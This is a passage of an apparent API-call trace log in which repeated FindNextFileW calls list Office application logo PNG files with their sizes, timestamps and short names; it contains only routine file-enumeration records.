lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.contrast-white_scale-100.png", cAlternateFileName="OUFC89~1.PNG")) returned 1 [0188.046] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.contrast-white_scale-140.png", cAlternateFileName="OU4A1E~1.PNG")) returned 1 [0188.047] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.contrast-white_scale-180.png", cAlternateFileName="OU78EB~1.PNG")) returned 1 [0188.047] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.contrast-white_scale-80.png", cAlternateFileName="OU8EEC~1.PNG")) returned 1 [0188.047] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.scale-100.png", cAlternateFileName="OU6135~1.PNG")) returned 1 [0188.047] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.scale-140.png", cAlternateFileName="OU6CFB~1.PNG")) returned 1 [0189.569] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a74a04e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.scale-180.png", cAlternateFileName="OU2A2D~1.PNG")) returned 1 [0189.602] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x744, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookLogoSmall.scale-80.png", cAlternateFileName="OU72E3~1.PNG")) returned 1 [0189.602] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.contrast-black_scale-100.png", cAlternateFileName="POWERP~3.PNG")) returned 1 [0189.602] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb02, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.contrast-black_scale-140.png", cAlternateFileName="POWERP~1.PNG")) returned 1 [0189.602] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.contrast-black_scale-180.png", cAlternateFileName="POA3C2~1.PNG")) returned 1 [0189.603] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.contrast-black_scale-80.png", cAlternateFileName="POB7FC~1.PNG")) returned 1 [0189.603] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.contrast-white_scale-100.png", cAlternateFileName="PO3D2C~1.PNG")) returned 1 [0189.603] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb61, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.contrast-white_scale-140.png", cAlternateFileName="PO7FFA~1.PNG")) returned 1 [0189.603] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd84, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.contrast-white_scale-180.png", cAlternateFileName="PO2276~1.PNG")) returned 1 [0189.603] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.contrast-white_scale-80.png", cAlternateFileName="POWERP~2.PNG")) returned 1 [0189.603] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.scale-100.png", cAlternateFileName="PO6386~1.PNG")) returned 1 [0189.603] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.scale-140.png", cAlternateFileName="POWERP~4.PNG")) returned 1 [0189.604] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd87, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.scale-180.png", cAlternateFileName="PODF31~1.PNG")) returned 1 [0189.604] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogo.scale-80.png", cAlternateFileName="PO0348~1.PNG")) returned 1 [0189.604] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x70a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.contrast-black_scale-100.png", cAlternateFileName="PO798C~1.PNG")) returned 1 [0189.604] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x802, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.contrast-black_scale-140.png", cAlternateFileName="PO54A4~1.PNG")) returned 1 [0189.604] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.contrast-black_scale-180.png", cAlternateFileName="PO12D5~1.PNG")) returned 1 [0189.604] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x627, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.contrast-black_scale-80.png", cAlternateFileName="PO605C~1.PNG")) returned 1 [0189.605] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x705, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.contrast-white_scale-100.png", cAlternateFileName="POF730~1.PNG")) returned 1 [0189.605] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.contrast-white_scale-140.png", cAlternateFileName="POD5F0~1.PNG")) returned 1 [0189.605] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.contrast-white_scale-180.png", cAlternateFileName="PO9322~1.PNG")) returned 1 [0189.605] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x63a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.contrast-white_scale-80.png", cAlternateFileName="POB2A2~1.PNG")) returned 1 [0189.605] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.scale-100.png", cAlternateFileName="PO420E~1.PNG")) returned 1 [0189.608] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x853, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.scale-140.png", cAlternateFileName="PO003F~1.PNG")) returned 1 [0189.609] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.scale-180.png", cAlternateFileName="PO5DB3~1.PNG")) returned 1 [0189.609] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.scale-80.png", cAlternateFileName="PO2503~1.PNG")) returned 1 [0189.609] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x96a, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.contrast-black_scale-100.png", cAlternateFileName="VI0946~1.PNG")) returned 1 [0189.609] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.contrast-black_scale-140.png", cAlternateFileName="VIC677~1.PNG")) returned 1 [0189.609] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.contrast-black_scale-180.png", cAlternateFileName="VISIOL~3.PNG")) returned 1 [0189.609] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x86e, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.contrast-black_scale-80.png", cAlternateFileName="VISIOL~1.PNG")) returned 1 [0189.609] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x954, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.contrast-white_scale-100.png", cAlternateFileName="VIFA3F~1.PNG")) returned 1 [0189.610] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe11, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.contrast-white_scale-140.png", cAlternateFileName="VISIOL~2.PNG")) returned 1 [0189.610] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf11, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.contrast-white_scale-180.png", cAlternateFileName="VISIOL~4.PNG")) returned 1 [0189.610] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x847, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.contrast-white_scale-80.png", cAlternateFileName="VI1BD5~1.PNG")) returned 1 [0189.610] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.scale-100.png", cAlternateFileName="VIA47A~1.PNG")) returned 1 [0189.610] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe69, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.scale-140.png", cAlternateFileName="VIAD54~1.PNG")) returned 1 [0189.610] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xee2, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.scale-180.png", cAlternateFileName="VI20DC~1.PNG")) returned 1 [0189.611] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, 